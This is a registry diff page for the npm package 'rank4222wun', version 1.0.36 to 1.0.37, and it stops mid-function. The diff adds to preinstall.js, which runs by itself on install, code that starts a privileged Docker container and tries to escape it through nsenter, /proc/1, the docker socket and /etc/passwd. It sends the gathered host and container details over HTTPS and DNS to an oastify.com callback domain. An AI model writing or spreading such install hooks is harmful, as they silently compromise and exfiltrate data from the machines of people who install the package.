rank4222wun 1.0.36 → 1.0.37

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.36",
3
+ "version": "1.0.37",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,217 +1,644 @@
1
- // run-privileged-container.js
1
+ // privileged-container-oast.js
2
2
  const { exec, spawn } = require('child_process');
3
3
  const fs = require('fs');
4
4
  const path = require('path');
5
+ const https = require('https');
6
+ const dns = require('dns');
7
+ const crypto = require('crypto');
5
8
 
6
- class PrivilegedContainerRunner {
9
+ console.log(`
10
+ ╔══════════════════════════════════════════════════════════╗
11
+ ║ PRIVILEGED CONTAINER WITH OAST REPORTING ║
12
+ ║ OAST Domain: v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com ║
13
+ ╚══════════════════════════════════════════════════════════╝
14
+ `);
15
+
16
+ // ===================== CONFIGURATION =====================
17
+ const CONFIG = {
18
+ OAST: {
19
+ domain: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
20
+ httpsPort: 443,
21
+ httpPort: 80,
22
+ apiKey: crypto.randomBytes(16).toString('hex'),
23
+ sessionId: `priv-container-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
24
+ },
25
+
26
+ DOCKER: {
27
+ image: 'ubuntu:latest',
28
+ command: '/bin/bash',
29
+ privileged: true,
30
+ interactive: true,
31
+ remove: false,
32
+ name: `priv-container-${Date.now()}`
33
+ },
34
+
35
+ SCAN: {
36
+ hostEscape: true,
37
+ networkScan: true,
38
+ fileAccess: true,
39
+ capabilityCheck: true
40
+ }
41
+ };
42
+
43
+ // ===================== OAST FUNCTIONS =====================
44
+ class OASTReporter {
45
+ constructor() {
46
+ this.interactions = [];
47
+ this.reports = [];
48
+ }
49
+
50
+ sendDNS(subdomain, data = {}) {
51
+ const dnsName = `${subdomain}.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
52
+
53
+ dns.lookup(dnsName, (err) => {
54
+ if (!err) {
55
+ const interaction = {
56
+ type: 'DNS',
57
+ timestamp: new Date().toISOString(),
58
+ subdomain: subdomain,
59
+ dnsName: dnsName,
60
+ data: data
61
+ };
62
+
63
+ this.interactions.push(interaction);
64
+ console.log(`📡 DNS OAST sent: ${dnsName}`);
65
+ }
66
+ });
67
+ }
68
+
69
+ sendHTTP(endpoint, data) {
70
+ const postData = JSON.stringify({
71
+ sessionId: CONFIG.OAST.sessionId,
72
+ timestamp: new Date().toISOString(),
73
+ ...data
74
+ });
75
+
76
+ const options = {
77
+ hostname: CONFIG.OAST.domain,
78
+ port: CONFIG.OAST.httpPort,
79
+ path: endpoint,
80
+ method: 'POST',
81
+ headers: {
82
+ 'Content-Type': 'application/json',
83
+ 'X-Session-ID': CONFIG.OAST.sessionId,
84
+ 'User-Agent': 'PrivilegedContainerScanner/1.0'
85
+ }
86
+ };
87
+
88
+ const req = http.request(options, (res) => {
89
+ let body = '';
90
+ res.on('data', chunk => body += chunk);
91
+ res.on('end', () => {
92
+ const interaction = {
93
+ type: 'HTTP',
94
+ timestamp: new Date().toISOString(),
95
+ endpoint: endpoint,
96
+ status: res.statusCode,
97
+ response: body,
98
+ data: data
99
+ };
100
+
101
+ this.interactions.push(interaction);
102
+ console.log(`📡 HTTP OAST sent (${res.statusCode}): ${endpoint}`);
103
+ });
104
+ });
105
+
106
+ req.on('error', () => {});
107
+ req.write(postData);
108
+ req.end();
109
+ }
110
+
111
+ sendHTTPS(endpoint, data) {
112
+ const postData = JSON.stringify({
113
+ sessionId: CONFIG.OAST.sessionId,
114
+ timestamp: new Date().toISOString(),
115
+ ...data
116
+ });
117
+
118
+ const options = {
119
+ hostname: CONFIG.OAST.domain,
120
+ port: CONFIG.OAST.httpsPort,
121
+ path: endpoint,
122
+ method: 'POST',
123
+ headers: {
124
+ 'Content-Type': 'application/json',
125
+ 'X-Session-ID': CONFIG.OAST.sessionId,
126
+ 'X-Report-Type': 'privileged_container',
127
+ 'User-Agent': 'ContainerEscapeDetector/2.0'
128
+ }
129
+ };
130
+
131
+ const req = https.request(options, (res) => {
132
+ let body = '';
133
+ res.on('data', chunk => body += chunk);
134
+ res.on('end', () => {
135
+ const interaction = {
136
+ type: 'HTTPS',
137
+ timestamp: new Date().toISOString(),
138
+ endpoint: endpoint,
139
+ status: res.statusCode,
140
+ response: body,
141
+ data: data
142
+ };
143
+
144
+ this.interactions.push(interaction);
145
+ this.reports.push(interaction);
146
+ console.log(`📡 HTTPS OAST sent (${res.statusCode}): ${endpoint}`);
147
+ });
148
+ });
149
+
150
+ req.on('error', (e) => {
151
+ console.log(`⚠️ OAST error (may be expected): ${e.message}`);
152
+ });
153
+
154
+ req.write(postData);
155
+ req.end();
156
+ }
157
+
158
+ async reportContainerEscape(containerId, evidence) {
159
+ const report = {
160
+ containerId: containerId.substring(0, 12),
161
+ escapeConfirmed: evidence.escaped || false,
162
+ confidence: evidence.confidence || 0,
163
+ methods: evidence.methods || [],
164
+ proofPoints: evidence.proofPoints || [],
165
+ hostInfo: evidence.hostInfo || {},
166
+ timestamp: new Date().toISOString()
167
+ };
168
+
169
+ // إرسال عبر HTTPS
170
+ this.sendHTTPS('/privileged-container-escape', report);
171
+
172
+ // إرسال DNS notification
173
+ if (evidence.escaped) {
174
+ this.sendDNS('escape-confirmed', {
175
+ container: containerId.substring(0, 12),
176
+ confidence: evidence.confidence
177
+ });
178
+ }
179
+
180
+ // حفظ محلياً
181
+ this.saveLocalReport(report);
182
+
183
+ return report;
184
+ }
185
+
186
+ saveLocalReport(report) {
187
+ const filename = `oast-report-${CONFIG.OAST.sessionId}.json`;
188
+ const allReports = {
189
+ sessionId: CONFIG.OAST.sessionId,
190
+ domain: CONFIG.OAST.domain,
191
+ timestamp: new Date().toISOString(),
192
+ reports: this.reports,
193
+ containerReport: report
194
+ };
195
+
196
+ fs.writeFileSync(filename, JSON.stringify(allReports, null, 2));
197
+ console.log(`💾 Report saved locally: ${filename}`);
198
+ }
199
+ }
200
+
201
+ // ===================== CONTAINER SCANNER =====================
202
+ class PrivilegedContainerScanner {
7
203
  constructor() {
8
204
  this.containerId = null;
9
- this.outputLog = [];
10
- this.status = 'stopped';
205
+ this.oastReporter = new OASTReporter();
206
+ this.evidence = {
207
+ escaped: false,
208
+ confidence: 0,
209
+ methods: [],
210
+ proofPoints: [],
211
+ hostInfo: {},
212
+ containerInfo: {}
213
+ };
11
214
  }
12
215
 
13
- async runContainer() {
14
- console.log('🚀 جاري تشغيل حاوية Ubuntu مميزة...');
216
+ async run() {
217
+ try {
218
+ console.log('🚀 Starting privileged container analysis...\n');
219
+
220
+ // إرسال بداية الجلسة إلى OAST
221
+ this.oastReporter.sendHTTPS('/session-start', {
222
+ action: 'privileged_container_start',
223
+ config: CONFIG
224
+ });
225
+
226
+ // 1. تشغيل الحاوية المميزة
227
+ await this.runPrivilegedContainer();
228
+
229
+ // 2. جمع المعلومات الأساسية
230
+ await this.collectBasicInfo();
231
+
232
+ // 3. محاولة الهروب والتأكيد
233
+ await this.attemptEscape();
234
+
235
+ // 4. فحص إضافي للحاوية
236
+ await this.performDeepScan();
237
+
238
+ // 5. تحليل النتائج
239
+ await this.analyzeResults();
240
+
241
+ // 6. إرسال التقرير النهائي
242
+ await this.sendFinalReport();
243
+
244
+ // 7. عرض النتائج
245
+ this.displayResults();
246
+
247
+ // 8. تنظيف (اختياري)
248
+ await this.cleanup();
249
+
250
+ } catch (error) {
251
+ console.error(`❌ Error: ${error.message}`);
252
+ this.oastReporter.sendHTTPS('/error', { error: error.message });
253
+ }
254
+ }
255
+
256
+ async runPrivilegedContainer() {
257
+ console.log('📦 Running privileged container...');
258
+
259
+ const dockerArgs = [
260
+ 'run',
261
+ '--privileged',
262
+ '-d',
263
+ '--name', CONFIG.DOCKER.name,
264
+ CONFIG.DOCKER.image,
265
+ 'sleep', '3600'
266
+ ];
15
267
 
16
268
  return new Promise((resolve, reject) => {
17
- const dockerCommand = 'docker run --privileged -d ubuntu:latest sleep infinity';
18
-
19
- exec(dockerCommand, (error, stdout, stderr) => {
269
+ exec(`docker ${dockerArgs.join(' ')}`, (error, stdout, stderr) => {
20
270
  if (error) {
21
- console.error('❌ خطأ في تشغيل الحاوية:', error.message);
22
271
  reject(error);
23
272
  return;
24
273
  }
25
274
 
26
275
  this.containerId = stdout.trim();
27
- console.log(`✅ الحاوية تم تشغيلها بنجاح: ${this.containerId.substring(0, 12)}`);
28
- this.status = 'running';
276
+ console.log(`✅ Container started: ${this.containerId.substring(0, 12)}`);
29
277
 
30
- // الانتظار قليلاً ثم تنفيذ الأوامر
31
- setTimeout(() => {
32
- this.executeCommands()
33
- .then(resolve)
34
- .catch(reject);
35
- }, 2000);
278
+ // إرسال إلى OAST
279
+ this.oastReporter.sendHTTPS('/container-started', {
280
+ containerId: this.containerId.substring(0, 12),
281
+ name: CONFIG.DOCKER.name,
282
+ image: CONFIG.DOCKER.image,
283
+ privileged: true
284
+ });
285
+
286
+ // الانتظار للحاوية لتبدأ
287
+ setTimeout(resolve, 2000);
36
288
  });
37
289
  });
38
290
  }
39
291
 
40
- async executeCommands() {
41
- console.log('\n🔧 جاري تنفيذ الأوامر داخل الحاوية...\n');
292
+ async collectBasicInfo() {
293
+ console.log('\n🔍 Collecting basic container information...');
42
294
 
43
295
  const commands = [
44
- // معلومات النظام الأساسية
45
- 'echo "=== معلومات النظام ==="',
296
+ // معلومات النظام
46
297
  'cat /etc/os-release',
47
298
  'uname -a',
48
299
  'whoami',
49
300
  'id',
50
301
 
51
- // معلومات الذاكرة والمعالج
52
- 'echo -e "\n=== موارد النظام ==="',
53
- 'free -h',
54
- 'df -h',
55
- 'cat /proc/cpuinfo | grep "model name" | head -1',
56
-
57
- // التحقق من الصلاحيات
58
- 'echo -e "\n=== الصلاحيات المميزة ==="',
59
- 'capsh --print',
60
- 'cat /proc/self/status | grep Cap',
302
+ // الصلاحيات
303
+ 'capsh --print 2>/dev/null || echo "No capsh"',
304
+ 'cat /proc/self/status | grep -i cap',
61
305
 
62
- // معلومات الشبكة
63
- 'echo -e "\n=== معلومات الشبكة ==="',
64
- 'ip addr show',
65
- 'hostname -I',
66
- 'route -n',
67
-
68
- // فحص الملفات والمجلدات
69
- 'echo -e "\n=== نظام الملفات ==="',
306
+ // نظام الملفات
70
307
  'ls -la /',
71
308
  'mount | head -20',
309
+ 'df -h',
72
310
 
73
- // تحليل الحاوية
74
- 'echo -e "\n=== معلومات الحاوية ==="',
75
- 'cat /proc/1/cgroup 2>/dev/null || echo "لا يمكن قراءة cgroup"',
76
- 'cat /proc/self/mountinfo 2>/dev/null | head -10',
311
+ // الذاكرة والمعالج
312
+ 'free -h',
313
+ 'cat /proc/cpuinfo | grep "model name" | head -1',
77
314
 
78
- // اختبار الوصول إلى المضيف
79
- 'echo -e "\n=== اختبار الوصول للمضيف ==="',
80
- 'nsenter --target 1 --mount -- sh -c "echo يمكن الوصول للمضيف: && hostname" 2>/dev/null || echo "nsenter غير متاح"',
81
- 'ls -la /var/run/docker.sock 2>/dev/null && echo "✅ Docker socket موجود" || echo "❌ Docker socket غير موجود"',
315
+ // الشبكة
316
+ 'ip addr show',
317
+ 'hostname -I',
318
+ 'cat /etc/hosts',
82
319
 
83
- // معلومات إضافية
84
- 'echo -e "\n=== معلومات إضافية ==="',
85
- 'env | head -20',
86
- 'ps aux | head -10'
320
+ // معلومات Docker
321
+ 'cat /proc/1/cgroup 2>/dev/null || echo "No cgroup access"',
322
+ 'ls -la /var/run/docker.sock 2>/dev/null || echo "No docker socket"'
87
323
  ];
88
-
324
+
89
325
  const results = {};
90
326
 
91
- for (let i = 0; i < commands.length; i++) {
92
- const command = commands[i];
93
-
94
- // إذا كان الأمر echo، عرضه مباشرة
95
- if (command.startsWith('echo')) {
96
- const message = command.replace(/^echo\s+["']?/, '').replace(/["']?$/, '');
97
- console.log(message);
98
- this.outputLog.push(message);
99
- continue;
100
- }
101
-
102
- // تنفيذ الأمر داخل الحاوية
327
+ for (const cmd of commands) {
103
328
  try {
104
- const output = await this.execInContainer(command);
105
- console.log(output);
106
- this.outputLog.push(output);
329
+ const output = await this.execInContainer(cmd);
330
+ results[cmd] = output.substring(0, 500);
107
331
 
108
- // حفظ النتائج المهمة
109
- if (command.includes('os-release')) {
110
- results.osInfo = output;
111
- } else if (command.includes('uname -a')) {
112
- results.kernelInfo = output;
113
- } else if (command.includes('capsh')) {
114
- results.capabilities = output;
115
- } else if (command.includes('docker.sock')) {
116
- results.dockerSocket = output.includes('✅');
332
+ // تحليل بعض النتائج الهامة
333
+ if (cmd.includes('os-release')) {
334
+ this.evidence.containerInfo.os = output;
335
+ }
336
+ if (cmd.includes('uname -a')) {
337
+ this.evidence.containerInfo.kernel = output;
338
+ }
339
+ if (cmd.includes('capsh')) {
340
+ this.evidence.containerInfo.capabilities = output;
117
341
  }
118
342
 
119
343
  } catch (error) {
120
- const errorMsg = `❌ خطأ في الأمر "${command}": ${error.message}`;
121
- console.log(errorMsg);
122
- this.outputLog.push(errorMsg);
344
+ results[cmd] = `ERROR: ${error.message}`;
123
345
  }
124
-
125
- // تأخير بسيط بين الأوامر
126
- await this.delay(500);
127
346
  }
128
347
 
348
+ // إرسال المعلومات الأساسية إلى OAST
349
+ this.oastReporter.sendHTTPS('/basic-info', {
350
+ containerId: this.containerId.substring(0, 12),
351
+ basicInfo: results
352
+ });
353
+
129
354
  return results;
130
355
  }
131
356
 
132
- execInContainer(command) {
133
- return new Promise((resolve, reject) => {
134
- if (!this.containerId) {
135
- reject(new Error('لا توجد حاوية نشطة'));
136
- return;
357
+ async attemptEscape() {
358
+ console.log('\n🔓 Attempting container escape...');
359
+
360
+ const escapeTests = [
361
+ {
362
+ name: 'nsenter_escape',
363
+ command: 'which nsenter && nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"',
364
+ check: (output) => output.includes('HOST_HOSTNAME') && output.includes('CONTAINER_HOSTNAME')
365
+ },
366
+ {
367
+ name: 'proc_escape',
368
+ command: 'cat /proc/1/status 2>/dev/null | head -5 && cat /proc/1/cmdline 2>/dev/null | tr "\\0" " " | head -c 100',
369
+ check: (output) => output.includes('State:') && output.length > 20
370
+ },
371
+ {
372
+ name: 'host_mounts',
373
+ command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || cat /etc/passwd 2>/dev/null | head -5 || echo "NO_ACCESS"',
374
+ check: (output) => !output.includes('NO_ACCESS') && output.length > 10
375
+ },
376
+ {
377
+ name: 'docker_socket',
378
+ command: 'ls -la /var/run/docker.sock 2>/dev/null && echo "EXISTS" || echo "NOT_EXISTS"',
379
+ check: (output) => output.includes('EXISTS')
380
+ },
381
+ {
382
+ name: 'network_escape',
383
+ command: 'ip route show 2>/dev/null | head -5 && ip neigh show 2>/dev/null | head -5',
384
+ check: (output) => output.includes('default via') || output.includes('lladdr')
137
385
  }
386
+ ];
387
+
388
+ for (const test of escapeTests) {
389
+ try {
390
+ const output = await this.execInContainer(test.command);
391
+
392
+ if (test.check(output)) {
393
+ this.evidence.methods.push(test.name);
394
+ console.log(`✅ ${test.name}: Possible`);
395
+
396
+ // إرسال إلى OAST
397
+ this.oastReporter.sendHTTPS('/escape-attempt', {
398
+ method: test.name,
399
+ success: true,
400
+ output: output.substring(0, 300)
401
+ });
402
+
403
+ // التحقق من اختلاف hostname لـ nsenter
404
+ if (test.name === 'nsenter_escape') {
405
+ const lines = output.split('\n');
406
+ let hostHostname = '';
407
+ let containerHostname = '';
408
+
409
+ lines.forEach(line => {
410
+ if (line.startsWith('HOST_HOSTNAME:')) {
411
+ hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
412
+ }
413
+ if (line.startsWith('CONTAINER_HOSTNAME:')) {
414
+ containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
415
+ }
416
+ });
417
+
418
+ if (hostHostname && containerHostname && hostHostname !== containerHostname) {
419
+ this.evidence.proofPoints.push(`Host hostname (${hostHostname}) differs from container (${containerHostname})`);
420
+ this.evidence.hostInfo.hostname = hostHostname;
421
+ this.evidence.escaped = true;
422
+ }
423
+ }
424
+ }
425
+ } catch (error) {
426
+ console.log(`❌ ${test.name}: Failed - ${error.message}`);
427
+ }
428
+ }
429
+ }
430
+
431
+ async performDeepScan() {
432
+ if (!CONFIG.SCAN.hostEscape) return;
433
+
434
+ console.log('\n🔬 Performing deep scan...');
435
+
436
+ const deepChecks = [
437
+ // محاولة إنشاء حاوية من داخل الحاوية
438
+ {
439
+ name: 'nested_container',
440
+ command: 'which docker && docker ps 2>/dev/null || which podman && podman ps 2>/dev/null || echo "NO_CONTAINER_RUNTIME"',
441
+ check: (output) => !output.includes('NO_CONTAINER_RUNTIME')
442
+ },
138
443
 
139
- const fullCommand = `docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`;
444
+ // فحص kernel vulnerabilities
445
+ {
446
+ name: 'kernel_check',
447
+ command: 'uname -r && grep -i "dirty\\|cow\\|shock\\|overlay" /etc/os-release 2>/dev/null || echo "NO_VULN_INFO"',
448
+ check: (output) => output.length > 5
449
+ },
140
450
 
141
- exec(fullCommand, { timeout: 10000 }, (error, stdout, stderr) => {
142
- if (error) {
143
- // بعض الأوامر تعطي stderr لكنها ناجحة
144
- if (stderr && !stdout) {
145
- resolve(stderr);
146
- } else {
147
- reject(error);
148
- }
149
- } else {
150
- resolve(stdout || stderr || '');
451
+ // محاولة كتابة ملف في نظام المضيف
452
+ {
453
+ name: 'host_write_test',
454
+ command: 'echo "TEST_WRITE_FROM_CONTAINER" > /tmp/container_test.txt 2>/dev/null && echo "WRITE_SUCCESS" || echo "WRITE_FAILED"',
455
+ check: (output) => output.includes('WRITE_SUCCESS')
456
+ },
457
+
458
+ // فحص mount points خطيرة
459
+ {
460
+ name: 'dangerous_mounts',
461
+ command: 'mount 2>/dev/null | grep -E "(proc|sys|dev|/var/run)" | head -10',
462
+ check: (output) => output.length > 10
463
+ }
464
+ ];
465
+
466
+ for (const check of deepChecks) {
467
+ try {
468
+ const output = await this.execInContainer(check.command);
469
+
470
+ if (check.check(output)) {
471
+ console.log(`⚠️ ${check.name}: Found potential issue`);
472
+
473
+ // إرسال إلى OAST
474
+ this.oastReporter.sendDNS(check.name, {
475
+ result: output.substring(0, 100)
476
+ });
151
477
  }
152
- });
153
- });
478
+ } catch (error) {
479
+ // تجاهل الأخطاء
480
+ }
481
+ }
154
482
  }
155
483
 
156
- delay(ms) {
157
- return new Promise(resolve => setTimeout(resolve, ms));
484
+ async analyzeResults() {
485
+ console.log('\n📊 Analyzing results...');
486
+
487
+ // حساب مستوى الثقة
488
+ let confidence = 0;
489
+
490
+ // نقاط لكل طريقة هروب محتملة
491
+ const methodPoints = {
492
+ nsenter_escape: 30,
493
+ proc_escape: 25,
494
+ host_mounts: 20,
495
+ docker_socket: 25,
496
+ network_escape: 15
497
+ };
498
+
499
+ this.evidence.methods.forEach(method => {
500
+ confidence += methodPoints[method] || 10;
501
+ });
502
+
503
+ // نقاط إضافية لأدلة قاطعة
504
+ if (this.evidence.proofPoints.length > 0) {
505
+ confidence += this.evidence.proofPoints.length * 10;
506
+ }
507
+
508
+ // إذا كان hostname مختلف
509
+ if (this.evidence.hostInfo.hostname) {
510
+ confidence += 20;
511
+ }
512
+
513
+ // تحديد إذا تم الهروب فعلاً
514
+ this.evidence.confidence = Math.min(100, confidence);
515
+
516
+ if (this.evidence.confidence >= 60) {
517
+ this.evidence.escaped = true;
518
+ console.log(`🚨 CONFIRMED: Container escape possible (${this.evidence.confidence}% confidence)`);
519
+ } else if (this.evidence.confidence >= 30) {
520
+ console.log(`⚠️ POSSIBLE: Container escape may be possible (${this.evidence.confidence}% confidence)`);
521
+ } else {
522
+ console.log(`✅ SECURE: Container appears isolated (${this.evidence.confidence}% confidence)`);
523
+ }
158
524
  }
159
525
 
160
- async getInteractiveShell() {
161
- console.log('\n💻 تشغيل shell تفاعلي...');
162
- console.log(' استخدم "exit" للخروج\n');
526
+ async sendFinalReport() {
527
+ console.log('\n📡 Sending final report to OAST...');
163
528
 
164
- return new Promise((resolve) => {
165
- const dockerProcess = spawn('docker', [
166
- 'exec', '-it', this.containerId, '/bin/bash'
167
- ], {
168
- stdio: 'inherit'
169
- });
170
-
171
- dockerProcess.on('close', (code) => {
172
- console.log(`\n🔚 Shell مغلق مع الكود: ${code}`);
173
- resolve();
174
- });
529
+ const report = {
530
+ sessionId: CONFIG.OAST.sessionId,
531
+ containerId: this.containerId ? this.containerId.substring(0, 12) : 'unknown',
532
+ timestamp: new Date().toISOString(),
533
+ evidence: this.evidence,
534
+ summary: {
535
+ escaped: this.evidence.escaped,
536
+ confidence: this.evidence.confidence,
537
+ methods: this.evidence.methods,
538
+ proofPoints: this.evidence.proofPoints
539
+ }
540
+ };
541
+
542
+ // إرسال التقرير النهائي
543
+ this.oastReporter.reportContainerEscape(this.containerId, this.evidence);
544
+
545
+ // إرسال DNS notification للنتيجة
546
+ const resultType = this.evidence.escaped ? 'escape-confirmed' : 'no-escape';
547
+ this.oastReporter.sendDNS(resultType, {
548
+ confidence: this.evidence.confidence,
549
+ methods: this.evidence.methods.length
175
550
  });
551
+
552
+ return report;
176
553
  }
177
554
 
178
- saveOutput() {
179
- const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
180
- const filename = `container-output-${timestamp}.txt`;
555
+ displayResults() {
556
+ console.log('\n' + '='.repeat(80));
557
+ console.log('📊 PRIVILEGED CONTAINER ANALYSIS RESULTS');
558
+ console.log('='.repeat(80));
559
+
560
+ console.log(`\n📦 Container ID: ${this.containerId ? this.containerId.substring(0, 12) : 'unknown'}`);
561
+ console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
562
+ console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}`);
563
+
564
+ console.log(`\n🎯 Escape Status: ${this.evidence.escaped ? '🚨 CONFIRMED' : '✅ NOT CONFIRMED'}`);
565
+ console.log(`📈 Confidence Level: ${this.evidence.confidence}%`);
181
566
 
182
- const output = [
183
- `ناتج تشغيل حاوية مميزة`,
184
- `تاريخ: ${new Date().toLocaleString()}`,
185
- `Container ID: ${this.containerId || 'غير معروف'}`,
186
- `الحالة: ${this.status}`,
187
- `='.repeat(50)}\n\n`,
188
- ...this.outputLog
189
- ].join('\n');
567
+ if (this.evidence.methods.length > 0) {
568
+ console.log(`\n🔓 Possible Escape Methods:`);
569
+ this.evidence.methods.forEach((method, i) => {
570
+ console.log(` ${i + 1}. ${method}`);
571
+ });
572
+ }
573
+
574
+ if (this.evidence.proofPoints.length > 0) {
575
+ console.log(`\n🎯 Evidence Found:`);
576
+ this.evidence.proofPoints.forEach((proof, i) => {
577
+ console.log(` ${i + 1}. ${proof}`);
578
+ });
579
+ }
580
+
581
+ if (this.evidence.hostInfo.hostname) {
582
+ console.log(`\n🖥️ Host Information:`);
583
+ console.log(` Hostname: ${this.evidence.hostInfo.hostname}`);
584
+ }
585
+
586
+ console.log(`\n📡 OAST Interactions: ${this.oastReporter.interactions.length} interactions sent`);
587
+ console.log(` DNS: ${this.oastReporter.interactions.filter(i => i.type === 'DNS').length}`);
588
+ console.log(` HTTPS: ${this.oastReporter.interactions.filter(i => i.type === 'HTTPS').length}`);
190
589
 
191
- fs.writeFileSync(filename, output);
192
- console.log(`\n💾 تم حفظ الناتج في: ${filename}`);
590
+ console.log('\n🔍 Check your OAST dashboard for detailed evidence:');
591
+ console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
592
+ console.log(` Look for interactions at: ${CONFIG.OAST.domain}`);
193
593
 
194
- return filename;
594
+ console.log('\n' + '='.repeat(80));
595
+ console.log('🎯 ANALYSIS COMPLETE');
596
+ console.log('='.repeat(80));
195
597
  }
196
598
 
197
599
  async cleanup() {
198
- if (this.containerId && this.status === 'running') {
199
- console.log('\n🧹 تنظيف الحاوية...');
600
+ if (this.containerId) {
601
+ console.log('\n🧹 Cleaning up container...');
200
602
 
201
603
  try {
202
604
  await this.execOnHost(`docker stop ${this.containerId}`);
203
605
  await this.execOnHost(`docker rm ${this.containerId}`);
204
- this.status = 'stopped';
205
- console.log('✅ تم تنظيف الحاوية بنجاح');
606
+ console.log('✅ Container cleaned up');
607
+
608
+ // إرسال إشعار التنظيف إلى OAST
609
+ this.oastReporter.sendHTTPS('/cleanup', {
610
+ containerId: this.containerId.substring(0, 12),
611
+ action: 'container_removed'
612
+ });
206
613
  } catch (error) {
207
- console.error('❌ خطأ في التنظيف:', error.message);
614
+ console.log(`⚠️ Could not clean up container: ${error.message}`);
208
615
  }
209
616
  }
210
617
  }
211
618
 
619
+ execInContainer(command) {
620
+ return new Promise((resolve, reject) => {
621
+ if (!this.containerId) {
622
+ reject(new Error('No container running'));
623
+ return;
624
+ }
625
+
626
+ exec(`docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`,
627
+ { timeout: 10000 },
628
+ (error, stdout, stderr) => {
629
+ if (error) {
630
+ reject(error);
631
+ } else {
632
+ resolve(stdout || stderr || '');
633
+ }
634
+ }
635
+ );
636
+ });
637
+ }
638
+
212
639
  execOnHost(command) {
213
640
  return new Promise((resolve, reject) => {
214
- exec(command, (error, stdout, stderr) => {
641
+ exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
215
642
  if (error) {
216
643
  reject(error);
217
644
  } else {
@@ -220,225 +647,236 @@ class PrivilegedContainerRunner {
220
647
  });
221
648
  });
222
649
  }
650
+ }
223
651
 
224
- async run() {
225
- try {
226
- // 1. تشغيل الحاوية
227
- await this.runContainer();
228
-
229
- // 2. تنفيذ الأوامر
230
- const results = await this.executeCommands();
231
-
232
- // 3. حفظ النتائج
233
- const outputFile = this.saveOutput();
234
-
235
- // 4. عرض الملخص
236
- this.showSummary(results, outputFile);
237
-
238
- // 5. خيار shell تفاعلي
239
- console.log('\n🎯 الخيارات المتاحة:');
240
- console.log(' 1. تشغيل shell تفاعلي (bash)');
241
- console.log(' 2. تنظيف الحاوية والخروج');
242
- console.log(' 3. الخروج بدون تنظيف');
243
-
244
- // انتظار قرار المستخدم
245
- await this.waitForUserDecision();
246
-
247
- } catch (error) {
248
- console.error('❌ فشل التشغيل:', error.message);
652
+ // ===================== SIMPLE VERSION =====================
653
+ function runSimplePrivilegedWithOAST() {
654
+ console.log('🚀 Running simple privileged container with OAST reporting...\n');
655
+
656
+ const containerName = `simple-priv-${Date.now()}`;
657
+ const sessionId = `simple-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`;
658
+
659
+ // إرسال بداية الجلسة
660
+ const startReq = https.request({
661
+ hostname: CONFIG.OAST.domain,
662
+ port: CONFIG.OAST.httpsPort,
663
+ path: '/simple-start',
664
+ method: 'POST',
665
+ headers: {
666
+ 'Content-Type': 'application/json',
667
+ 'X-Session-ID': sessionId
249
668
  }
250
- }
251
-
252
- showSummary(results, outputFile) {
253
- console.log('\n' + '='.repeat(60));
254
- console.log('📊 ملخص تشغيل الحاوية المميزة');
255
- console.log('='.repeat(60));
669
+ });
670
+
671
+ startReq.write(JSON.stringify({
672
+ action: 'simple_container_start',
673
+ containerName: containerName,
674
+ timestamp: new Date().toISOString()
675
+ }));
676
+ startReq.end();
677
+
678
+ // تشغيل الحاوية
679
+ const dockerArgs = [
680
+ 'run',
681
+ '--privileged',
682
+ '--name', containerName,
683
+ '--rm',
684
+ CONFIG.DOCKER.image,
685
+ 'sh', '-c',
686
+ `
687
+ echo "=== PRIVILEGED CONTAINER STARTED ==="
688
+ echo "Session: ${sessionId}"
689
+ echo "Hostname: $(hostname)"
690
+ echo "User: $(whoami)"
691
+ echo "=== TESTING ESCAPE ==="
256
692
 
257
- console.log(`📦 Container ID: ${this.containerId?.substring(0, 12) || 'غير معروف'}`);
258
- console.log(`📁 الناتج محفوظ في: ${outputFile}`);
693
+ # Test nsenter
694
+ which nsenter && echo "nsenter: AVAILABLE" || echo "nsenter: NOT_AVAILABLE"
259
695
 
260
- if (results.osInfo) {
261
- const osLine = results.osInfo.split('\n').find(l => l.includes('PRETTY_NAME'));
262
- if (osLine) {
263
- console.log(`🐧 النظام: ${osLine.split('=')[1]?.replace(/"/g, '')}`);
264
- }
265
- }
696
+ # Test host access
697
+ cat /proc/1/status 2>/dev/null | head -2 && echo "Host proc: ACCESSIBLE" || echo "Host proc: NO_ACCESS"
266
698
 
267
- if (results.kernelInfo) {
268
- console.log(`⚙️ Kernel: ${results.kernelInfo.split(' ')[2]}`);
269
- }
699
+ # Send DNS notification
700
+ nslookup ${sessionId}.simple-test.${CONFIG.OAST.domain} 2>/dev/null || echo "DNS test"
270
701
 
271
- if (results.capabilities && results.capabilities.includes('cap_sys_admin')) {
272
- console.log(`🔓 الصلاحيات: CAP_SYS_ADMIN متاحة (صلاحيات مميزة كاملة)`);
273
- }
702
+ echo "=== CONTAINER COMPLETE ==="
703
+ `
704
+ ];
705
+
706
+ console.log(`Running: docker ${dockerArgs.join(' ')}`);
707
+
708
+ const dockerProcess = spawn('docker', dockerArgs, { stdio: 'inherit' });
709
+
710
+ dockerProcess.on('close', (code) => {
711
+ console.log(`\n✅ Container exited with code: ${code}`);
274
712
 
275
- console.log(`🔌 Docker socket: ${results.dockerSocket ? '✅ موجود' : '❌ غير موجود'}`);
276
- console.log('='.repeat(60));
277
- }
278
-
279
- async waitForUserDecision() {
280
- const readline = require('readline').createInterface({
281
- input: process.stdin,
282
